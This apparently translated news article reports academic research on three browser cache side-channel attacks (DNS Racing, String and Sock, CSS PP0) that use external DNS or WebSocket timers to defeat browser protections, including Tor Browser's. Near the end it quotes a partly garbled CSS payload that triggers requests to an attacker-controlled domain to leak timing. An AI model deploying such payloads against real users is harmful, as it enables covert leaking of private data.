A group of researchers from several American, Israeli, and Australian universities has developed three browser-based attacks to extract information about the contents of the processor cache. One method works in browsers without JavaScript, while the other two bypass existing protections against side-channel attacks, including those used in the Tor browser and DeterFox. Code to demonstrate the attacks, as well as the necessary server components for the attacks, has been published on GitHub.
All attacks use the Prime+Probe method for cache content analysis, which involves filling the cache with a reference set of values and determining changes by measuring the access time upon refilling. To bypass the protection mechanisms present in browsers that hinder accurate time measurement, two variants make calls to an attacker-controlled DNS or WebSocket server, which logs the request timestamps. In one variant, a fixed DNS response time is used as a time reference.
Measurements conducted using external DNS or WebSocket servers, thanks to a machine learning-based classification system, provided enough data to predict values with up to 98% accuracy in the best-case scenario (averaging 80-90%). The attack methods have been tested on various hardware platforms (Intel, AMD Ryzen, Apple M1, Samsung Exynos) and have proven to be universal.
In the first variant of the 'DNS Racing' attack, a classic Prime+Probe method implementation using JavaScript arrays is employed. The differences come down to using an external DNS-based timer and an onerror handler that triggers when an attempt is made to load an image from a nonexistent domain. The external timer allows for the execution of the Prime+Probe attack in browsers that restrict or completely disable access to JavaScript timers.
For a DNS server located in the same Ethernet network, the timer accuracy is estimated at about 2 ms, which is sufficient for conducting attacks through external channels (for comparison, the accuracy of the default JavaScript timer in Tor Browser is reduced to 100 ms). Control over the DNS server is not required for the attack, as the operation's execution time is tailored so that the response time from the DNS serves as an indication of the earlier completion of the check (depending on whether the onerror handler was triggered earlier or later, conclusions are drawn about the speed of the cache check operation).
The second attack method, "String and Sock," aims to bypass protection methods that limit low-level array usage in JavaScript. Instead of arrays, "String and Sock" uses operations with very large strings, the size of which is chosen to ensure that the variable covers the entire LLC (Last Level Cache). Then, using the indexOf() function, a small substring is searched within the string that is initially absent, meaning that the search operation results in scanning the entire string. Since the string size corresponds to the size of the LLC cache, scanning allows performing cache verification operations without manipulating arrays. To measure delays, instead of DNS, a controlled attacking WebSocket server is used — requests are sent before and after the search operation in the string, based on which the server delay is calculated, used for analyzing the cache contents.
The third attack variant "CSS PP0" is implemented through HTML and CSS and can work in browsers with JavaScript disabled. This method resembles "String and Sock" but is not tied to JavaScript. During the attack, a set of CSS selectors is formed to perform a pattern search. The initial large string that fills the cache is set by creating a div tag with a very large class name. Inside, a set of other divs with their own identifiers is placed. A specific style is defined for each of these nested divs with a selector that performs a substring search. When the page is rendered, the browser first attempts to process the inner divs, leading to the execution of the search operation within the large string. The search is conducted using a deliberately absent pattern, resulting in the full iteration of the string, after which the condition "not" is triggered, and an attempt is made to load a background image referring to random. domains: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Subdomains are served on the attacker's DNS server, which can measure the delays in receiving requests. For all queries, the DNS server returns NXDOMAIN and logs the exact time of requests. As a result of processing the set of divs, a series of queries arrives at the attacker's DNS server, with delays correlating to the results of the cache content check.
Source: opennet.ru
